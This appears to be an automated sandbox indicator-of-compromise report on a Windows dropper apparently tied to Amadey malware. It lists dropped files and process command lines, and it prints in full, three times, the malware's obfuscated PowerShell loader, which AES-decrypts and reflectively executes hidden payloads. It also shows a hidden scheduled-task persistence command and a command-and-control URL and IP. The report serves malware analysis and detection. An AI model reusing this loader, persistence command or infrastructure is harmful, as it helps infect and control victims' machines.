IOC Report
jcgLYlM4dg.exe

jcgLYlM4dg.exe

PE32 executable (GUI) Intel 80386, for MS Windows

initial sample

C:\Users\user\AppData\Local\Temp\RarSFX0\Amadey.bat

DOS batch file, ASCII text, with very long lines (63646), with CRLF line terminators

dropped

C:\Users\user\AppData\Roaming\startup_str_958.bat

DOS batch file, ASCII text, with very long lines (63646), with CRLF line terminators

dropped

C:\Users\user\AppData\Roaming\startup_str_958.vbs

ASCII text, with no line terminators

dropped

C:\Users\user\Desktop\jcgLYlM4dg.exe

"C:\Users\user\Desktop\jcgLYlM4dg.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\RarSFX0\Amadey.bat" "

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vgTuuGykaNIh9YHZdnC5Etwdm0+AKH40IGDiJn6heLQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gQ/PRzSPw/sfJ7E+XuUWrA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vdeGA=New-Object System.IO.MemoryStream(,$param_var); $adrDx=New-Object System.IO.MemoryStream; $Hvzlb=New-Object System.IO.Compression.GZipStream($vdeGA, [IO.Compression.CompressionMode]::Decompress); $Hvzlb.CopyTo($adrDx); $Hvzlb.Dispose(); $vdeGA.Dispose(); $adrDx.Dispose(); $adrDx.ToArray();}function execute_function($param_var,$param2_var){ $HMqcz=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ysWQp=$HMqcz.EntryPoint; $ysWQp.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\user\AppData\Local\Temp\RarSFX0\Amadey.bat';$Hexfg=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\user\AppData\Local\Temp\RarSFX0\Amadey.bat').Split([Environment]::NewLine);foreach ($XqpWb in $Hexfg) { if ($XqpWb.StartsWith(':: ')) { $QgDIl=$XqpWb.Substring(3); break; }}$payloads_var=[string[]]$QgDIl.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_958_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\startup_str_958.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force

C:\Windows\SysWOW64\wscript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\startup_str_958.vbs"

C:\Windows\System32\wscript.exe

C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\startup_str_958.vbs"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\startup_str_958.bat" "

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vgTuuGykaNIh9YHZdnC5Etwdm0+AKH40IGDiJn6heLQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gQ/PRzSPw/sfJ7E+XuUWrA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vdeGA=New-Object System.IO.MemoryStream(,$param_var); $adrDx=New-Object System.IO.MemoryStream; $Hvzlb=New-Object System.IO.Compression.GZipStream($vdeGA, [IO.Compression.CompressionMode]::Decompress); $Hvzlb.CopyTo($adrDx); $Hvzlb.Dispose(); $vdeGA.Dispose(); $adrDx.Dispose(); $adrDx.ToArray();}function execute_function($param_var,$param2_var){ $HMqcz=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ysWQp=$HMqcz.EntryPoint; $ysWQp.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\user\AppData\Roaming\startup_str_958.bat';$Hexfg=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\user\AppData\Roaming\startup_str_958.bat').Split([Environment]::NewLine);foreach ($XqpWb in $Hexfg) { if ($XqpWb.StartsWith(':: ')) { $QgDIl=$XqpWb.Substring(3); break; }}$payloads_var=[string[]]$QgDIl.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

C:\Windows\System32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\startup_str_958.bat" "

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vgTuuGykaNIh9YHZdnC5Etwdm0+AKH40IGDiJn6heLQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gQ/PRzSPw/sfJ7E+XuUWrA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vdeGA=New-Object System.IO.MemoryStream(,$param_var); $adrDx=New-Object System.IO.MemoryStream; $Hvzlb=New-Object System.IO.Compression.GZipStream($vdeGA, [IO.Compression.CompressionMode]::Decompress); $Hvzlb.CopyTo($adrDx); $Hvzlb.Dispose(); $vdeGA.Dispose(); $adrDx.Dispose(); $adrDx.ToArray();}function execute_function($param_var,$param2_var){ $HMqcz=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ysWQp=$HMqcz.EntryPoint; $ysWQp.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\user\AppData\Roaming\startup_str_958.bat';$Hexfg=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\user\AppData\Roaming\startup_str_958.bat').Split([Environment]::NewLine);foreach ($XqpWb in $Hexfg) { if ($XqpWb.StartsWith(':: ')) { $QgDIl=$XqpWb.Substring(3); break; }}$payloads_var=[string[]]$QgDIl.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

http://pesterbdd.com/images/Pester.png

unknown

http://ruspyc.top/j4Fvskd3/index.php

85.114.96.4

ruspyc.top/j4Fvskd3/index.php

ruspyc.top

85.114.96.4

85.114.96.4

ruspyc.top

Palestinian Territory Occupied

A080000

direct allocation

page read and write

A0F1000

unclassified section

page execute read

AAE1000

unclassified section

page execute read